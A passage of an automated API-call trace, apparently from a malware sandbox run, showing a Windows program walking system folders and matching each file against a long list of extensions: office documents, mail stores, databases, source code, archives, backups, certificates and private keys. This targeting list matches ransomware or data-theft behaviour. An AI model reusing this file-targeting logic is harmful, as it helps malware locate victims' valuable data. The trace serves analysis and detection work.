(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.qbx") returned 0 [0108.982] lstrlenA (lpString="*.qbx") returned 5 [0108.982] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.qba") returned 0 [0108.983] lstrlenA (lpString="*.qba") returned 5 [0108.983] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.qby") returned 0 [0108.983] lstrlenA (lpString="*.qby") returned 5 [0108.983] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.qbj") returned 0 [0108.983] lstrlenA (lpString="*.qbj") returned 5 [0108.983] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.ofx") returned 0 [0108.983] lstrlenA (lpString="*.ofx") returned 5 [0108.983] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.qif") returned 0 [0108.983] lstrlenA (lpString="*.qif") returned 5 [0108.983] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.mye") returned 0 [0108.983] lstrlenA (lpString="*.mye") returned 5 [0108.983] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.mbox") returned 0 [0108.983] lstrlenA (lpString="*.mbox") returned 6 [0108.983] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.eml") returned 0 [0108.983] lstrlenA (lpString="*.eml") returned 5 [0108.983] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.pst") returned 0 [0108.983] lstrlenA (lpString="*.pst") returned 5 [0108.983] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.ost") returned 0 [0108.983] lstrlenA (lpString="*.ost") returned 5 [0108.984] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.idx") returned 0 [0108.984] lstrlenA (lpString="*.idx") returned 5 [0108.984] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.dbx") returned 0 [0108.984] lstrlenA (lpString="*.dbx") returned 5 [0108.984] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.sql") returned 0 [0108.984] lstrlenA (lpString="*.sql") returned 5 [0108.984] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.mdb") returned 0 [0108.984] lstrlenA (lpString="*.mdb") returned 5 [0108.984] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.fdb") returned 0 [0108.984] lstrlenA (lpString="*.fdb") returned 5 [0108.984] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.wab") returned 0 [0108.984] lstrlenA (lpString="*.wab") returned 5 [0108.984] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.dat") returned 0 [0108.984] lstrlenA (lpString="*.dat") returned 5 [0108.984] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.txt") returned 0 [0108.984] lstrlenA (lpString="*.txt") returned 5 [0108.984] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.jpeg") returned 0 [0108.984] lstrlenA (lpString="*.jpeg") returned 6 [0108.984] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.jpg") returned 0 [0108.984] lstrlenA (lpString="*.jpg") returned 5 [0108.984] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.png") returned 0 [0108.985] lstrlenA (lpString="*.png") returned 5 [0108.985] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.php") returned 0 [0108.985] lstrlenA (lpString="*.php") returned 5 [0108.985] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.cs") returned 0 [0108.985] lstrlenA (lpString="*.cs") returned 4 [0108.985] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.cpp") returned 0 [0108.985] lstrlenA (lpString="*.cpp") returned 5 [0108.985] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.rar") returned 0 [0108.985] lstrlenA (lpString="*.rar") returned 5 [0108.985] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.zip") returned 0 [0108.985] lstrlenA (lpString="*.zip") returned 5 [0108.985] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.html") returned 0 [0108.985] lstrlenA (lpString="*.html") returned 6 [0108.985] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.htm") returned 0 [0108.985] lstrlenA (lpString="*.htm") returned 5 [0108.985] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.xlsx") returned 0 [0108.985] lstrlenA (lpString="*.xlsx") returned 6 [0108.985] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.xls") returned 0 [0108.985] lstrlenA (lpString="*.xls") returned 5 [0108.985] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.mp4") returned 0 [0108.986] lstrlenA (lpString="*.mp4") returned 5 [0108.986] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.ppt") returned 0 [0108.986] lstrlenA (lpString="*.ppt") returned 5 [0108.986] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.pptx") returned 0 [0108.986] lstrlenA (lpString="*.pptx") returned 6 [0108.986] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.doc") returned 0 [0108.986] lstrlenA (lpString="*.doc") returned 5 [0108.986] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.dot") returned 0 [0108.986] lstrlenA (lpString="*.dot") returned 5 [0108.986] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.docx") returned 0 [0108.986] lstrlenA (lpString="*.docx") returned 6 [0108.986] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.7z") returned 0 [0108.986] lstrlenA (lpString="*.7z") returned 4 [0108.986] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.tar") returned 0 [0108.986] lstrlenA (lpString="*.tar") returned 5 [0108.986] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.bz2") returned 0 [0108.986] lstrlenA (lpString="*.bz2") returned 5 [0108.986] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.gz") returned 0 [0108.986] lstrlenA (lpString="*.gz") returned 4 [0108.987] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.mkv") returned 0 [0108.987] lstrlenA (lpString="*.mkv") returned 5 [0108.987] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.eml") returned 0 [0108.987] lstrlenA (lpString="*.eml") returned 5 [0108.987] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.msg") returned 0 [0108.987] lstrlenA (lpString="*.msg") returned 5 [0108.987] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.edb") returned 0 [0108.987] lstrlenA (lpString="*.edb") returned 5 [0108.987] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.accdb") returned 0 [0108.987] lstrlenA (lpString="*.accdb") returned 7 [0108.987] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.odb") returned 0 [0108.987] lstrlenA (lpString="*.odb") returned 5 [0108.987] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.java") returned 0 [0108.987] lstrlenA (lpString="*.java") returned 6 [0108.987] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.asm") returned 0 [0108.987] lstrlenA (lpString="*.asm") returned 5 [0108.987] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.pfx") returned 0 [0108.987] lstrlenA (lpString="*.pfx") returned 5 [0108.987] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.pem") returned 0 [0108.987] lstrlenA (lpString="*.pem") returned 5 [0108.987] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.p12") returned 0 [0108.988] lstrlenA (lpString="*.p12") returned 5 [0108.988] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.gpg") returned 0 [0108.988] lstrlenA (lpString="*.gpg") returned 5 [0108.988] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.vsd") returned 0 [0108.988] lstrlenA (lpString="*.vsd") returned 5 [0108.988] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.odg") returned 0 [0108.988] lstrlenA (lpString="*.odg") returned 5 [0108.988] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.raw") returned 0 [0108.988] lstrlenA (lpString="*.raw") returned 5 [0108.988] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.nef") returned 0 [0108.988] lstrlenA (lpString="*.nef") returned 5 [0108.988] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.svg") returned 0 [0108.988] lstrlenA (lpString="*.svg") returned 5 [0108.988] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.psd") returned 0 [0108.988] lstrlenA (lpString="*.psd") returned 5 [0108.988] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.vmx") returned 0 [0108.988] lstrlenA (lpString="*.vmx") returned 5 [0108.988] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.vmdk") returned 0 [0108.989] lstrlenA (lpString="*.vmdk") returned 6 [0108.989] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.vdi") returned 0 [0108.989] lstrlenA (lpString="*.vdi") returned 5 [0108.989] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.lay6") returned 0 [0108.989] lstrlenA (lpString="*.lay6") returned 6 [0108.989] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.mpeg") returned 0 [0108.989] lstrlenA (lpString="*.mpeg") returned 6 [0108.989] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.djvu") returned 0 [0108.989] lstrlenA (lpString="*.djvu") returned 6 [0108.989] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.tiff") returned 0 [0108.989] lstrlenA (lpString="*.tiff") returned 6 [0108.989] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.backup") returned 0 [0108.989] lstrlenA (lpString="*.backup") returned 8 [0108.989] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.pdf") returned 0 [0108.989] lstrlenA (lpString="*.pdf") returned 5 [0108.989] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.cert") returned 0 [0108.989] lstrlenA (lpString="*.cert") returned 6 [0108.989] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.docm") returned 0 [0108.989] lstrlenA (lpString="*.docm") returned 6 [0108.989] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.xlsm") returned 0 [0108.990] lstrlenA (lpString="*.xlsm") returned 6 [0108.990] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.dwg") returned 0 [0108.990] lstrlenA (lpString="*.dwg") returned 5 [0108.990] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.nd") returned 0 [0108.990] lstrlenA (lpString="*.nd") returned 4 [0108.990] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.tlg") returned 0 [0108.990] lstrlenA (lpString="*.tlg") returned 5 [0108.990] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.lgb") returned 0 [0108.990] lstrlenA (lpString="*.lgb") returned 5 [0108.990] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.mov") returned 0 [0108.990] lstrlenA (lpString="*.mov") returned 5 [0108.990] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.xdw") returned 0 [0108.990] lstrlenA (lpString="*.xdw") returned 5 [0108.990] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.ods") returned 0 [0108.990] lstrlenA (lpString="*.ods") returned 5 [0108.990] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.wav") returned 0 [0108.990] lstrlenA (lpString="*.wav") returned 5 [0108.990] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.mp3") returned 0 [0108.991] lstrlenA (lpString="*.mp3") returned 5 [0108.991] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.aiff") returned 0 [0108.991] lstrlenA (lpString="*.aiff") returned 6 [0108.991] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.flac") returned 0 [0108.991] lstrlenA (lpString="*.flac") returned 6 [0108.991] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.m4a") returned 0 [0108.991] lstrlenA (lpString="*.m4a") returned 5 [0108.991] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\9206dc8156588e608d405729c833edc5\\Microsoft.PowerShell.Commands.Management.ni.dll", pszSpec="*.csv") returned 0 [0108.991] lstrlenA (lpString="*.csv") returned 5 [0108.991] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3712036, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xf3712036, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xf3712036, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x114200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Commands.Management.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0108.991] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0108.991] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf89c9d4e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xf89c9d4e, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xf89c9d4e, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="997418025a2c73d8088b0f59264a6f2b", cAlternateFileName="997418~1")) returned 1 [0108.991] lstrcmpA (lpString1=".", lpString2="997418025a2c73d8088b0f59264a6f2b") returned -1 [0108.991] lstrcmpA (lpString1="..", lpString2="997418025a2c73d8088b0f59264a6f2b") returned -1 [0108.992] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\*.*") returned="*.*" [0108.992] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\", lpString2="997418025a2c73d8088b0f59264a6f2b" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b" [0108.992] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b") returned 100 [0108.992] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\997418025a2c73d8088b0f59264a6f2b\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf89c9d4e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xf89c9d4e, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xf89c9d4e, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0109.008] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0109.008] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf89c9d4e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xf89c9d4e, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xf89c9d4e, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0109.008] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0109.008] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0109.008] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: 